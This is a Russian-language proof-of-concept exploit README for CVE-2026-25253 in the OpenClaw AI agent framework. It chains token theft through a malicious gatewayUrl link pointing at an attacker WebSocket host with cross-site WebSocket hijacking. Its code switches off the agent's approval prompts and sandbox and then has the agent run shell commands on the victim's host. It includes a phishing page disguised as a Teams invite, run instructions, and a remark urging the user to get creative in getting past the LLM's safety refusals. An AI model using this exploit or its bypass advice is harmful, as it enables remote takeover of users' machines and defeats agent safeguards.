kajzingerakos/cve-2026-25253Доказательство концепции эксплуатации CVE-2026-25253, демонстрирующее удалённое выполнение кода в один клик в OpenClaw через кражу токена аутентификации и межсайтовый перехват WebSocket.
Затронутое ПО: OpenClaw (clawbot) < v2026.1.29
ID CVE: CVE-2026-25253
Оценка CVSS: 8.8 (Высокая)
Воздействие: Неаутентифицированный удалённый злоумышленник может похитить токен аутентификации и добиться удалённого выполнения кода на хосте жертвы
ПРАВОВОЙ ДИСКЛЕЙМЕР: Этот код и описание предоставлены исключительно для авторизованных исследований в области безопасности и образовательных целей. Использование данного эксплойта против систем без явного письменного разрешения незаконно и неэтично. Автор не несёт ответственности за неправомерное использование.
OpenClaw, ранее известный как Clawdbot и называемый Moltbot в ранних версиях, — это фреймворк ИИ-ассистента, который работает локально на macOS, Windows или Linux. Он поддерживает облачные модели, такие как Anthropic и OpenAI, а также локальные модели.
Control UI — это одностраничное приложение, обслуживаемое по адресу /chat. Оно взаимодействует с локальным шлюзовым сервером через WebSocket по адресу ws://127.0.0.1:18789/ (или wss://host:18789/ для TLS).
Ключевые характеристики безопасности затронутых версий:
localStoragenoble-ed25519)type: "req", "res", "event")connectapplySettingsFromUrl()Уязвимость находится в applySettingsFromUrl() в Control UI.
Когда Control UI загружается, эта функция считывает параметр запроса ?gatewayUrl= из URL и сохраняет его как активную конечную точку шлюза — без какой-либо проверки того, указывает ли он на доверенный хост.
Злоумышленник может создать ссылку вида:
http://<target>/chat?gatewayUrl=ws://attacker.com
Когда жертва, аутентифицированная в OpenClaw, нажимает на эту ссылку, автоматически происходит следующее:
applySettingsFromUrl() сохраняет ws://attacker.com как новый URL шлюзаconnect — включая токен аутентификации, ID устройства и открытый ключ Ed25519 — злоумышленникуws://127.0.0.1:18789В этом PoC злоумышленник размещает страницу (meeting.html), которая открывает собственный Control UI жертвы во всплывающем окне с внедрённым вредоносным параметром ?gatewayUrl=:
const attackerGatewayUrl = `ws://<attacker>:8080`;
const targetUrl = `http://127.0.0.1:18789?gatewayUrl=${encodeURIComponent(attackerGatewayUrl)}`;
window.open(targetUrl, '_blank');
Сервер злоумышленника использует резервный механизм двух токенов OpenClaw: первая попытка connect использует токен устройства (привязанный к Ed25519, не воспроизводимый). Отклонив его, сервер вынуждает Control UI повторить попытку с токеном настроек — долгоживущим bearer-токеном, который можно воспроизвести:
// Отклоняем попытку №1 → вынуждаем Control UI повторить с токеном настроек
if (connectAttempts === 1) {
ws.send({ type: 'res', ok: false, error: { code: 'AUTH_FAILED' } });
return;
}
// Попытка №2 → токен настроек → ПЕРЕХВАЧЕН
capturedToken = token;
Имея похищенный токен настроек, meeting.html открывает собственное прямое WebSocket-соединение с реальным шлюзом (ws://127.0.0.1:18789). Это возможно, потому что шлюз в версиях < v2026.1.29 не проверяет заголовок Origin — любая страница, загруженная в браузере жертвы, может подключиться к нему.
// Отключаем все запросы на подтверждение выполнения
await sendRequest('exec.approvals.set', {
file: {
defaults: { ask: 'off', autoAllowSkills: true },
agents: { '*': { ask: 'off' } },
}
});
// Выход из песочницы контейнера, перенаправление exec на хост-машину
await sendRequest('config.patch', {
raw: JSON.stringify({
tools: { exec: { host: 'gateway', ask: 'off' } },
agents: { defaults: { sandbox: { mode: 'off' } } },
})
});
Содержимое поля сообщения обрабатывается LLM, настроенной в агенте. Это означает, что если LLM сочтёт содержимое вредоносным, она не выполнит команду. Вам придётся проявить креативность, чтобы обойти меры безопасности LLM.
await sendRequest('agent', {
message: 'Execute this shell command: <payload>',
agentId: 'main',
sessionKey: 'agent:main:main',
deliver: false,
});
sequenceDiagram
autonumber
actor Attacker
participant Browser as Victim Browser<br/>(meeting.html)
participant CtrlUI as OpenClaw Control UI<br/>(popup @ 127.0.0.1:18789/chat)
participant AtkWS as Attacker WS Server<br/>(:8080)
participant GW as Real OpenClaw Gateway<br/>(127.0.0.1:18789)
participant LLM as Cloud LLM<br/>(OpenAI / Anthropic)
Attacker->>Browser: Phishing link → opens meeting.html<br/>(disguised as a Teams invite)
Note over Browser: Phase 1 — Token Theft
Browser->>CtrlUI: Opens popup with ?gatewayUrl=ws://attacker:8080
Note over CtrlUI: applySettingsFromUrl() stores<br/>attacker WS as active gateway
CtrlUI->>AtkWS: connect { auth.token: DEVICE_TOKEN }
AtkWS-->>CtrlUI: ✗ AUTH_FAILED (reject — forces retry)
CtrlUI->>AtkWS: connect { auth.token: SETTINGS_TOKEN }
AtkWS-->>CtrlUI: ✓ hello-ok (fake response)
AtkWS->>Browser: token_captured { token: SETTINGS_TOKEN }
Note over Browser: Phase 2 — Gateway Hijack (CSWSH)
Browser->>GW: WebSocket connect (no Origin validation)<br/>auth { token: SETTINGS_TOKEN }
GW-->>Browser: ✓ Authenticated as operator
Note over Browser: Phase 3 — Security Bypass
Browser->>GW: exec.approvals.set { ask: "off" }
GW-->>Browser: ✓ Approval prompts disabled
Browser->>GW: config.patch { exec.host: "gateway",<br/>sandbox.mode: "off" }
GW-->>Browser: ✓ Sandbox disabled, exec on host
Note over Browser: Phase 4 — Remote Code Execution
Browser->>GW: agent { message: "Execute shell command: COMMAND" }
GW->>LLM: Forward prompt (security already stripped)
LLM-->>GW: Tool call: exec("COMMAND")
GW->>GW: Runs command on HOST filesystem
GW-->>Browser: ✓ Command executednpm install # устанавливает зависимость 'ws'
meeting.htmlconst GATEWAY_URL = 'ws://127.0.0.1:18789'; // локальный шлюз жертвы
const ATTACKER_WS_PORT = 8080; // должен совпадать с attacker-server.js
const COMMAND = 'touch /tmp/success';
node attacker-server.js
Отправьте жертве:
http://<ATTACKER_IP>:3000/meeting.html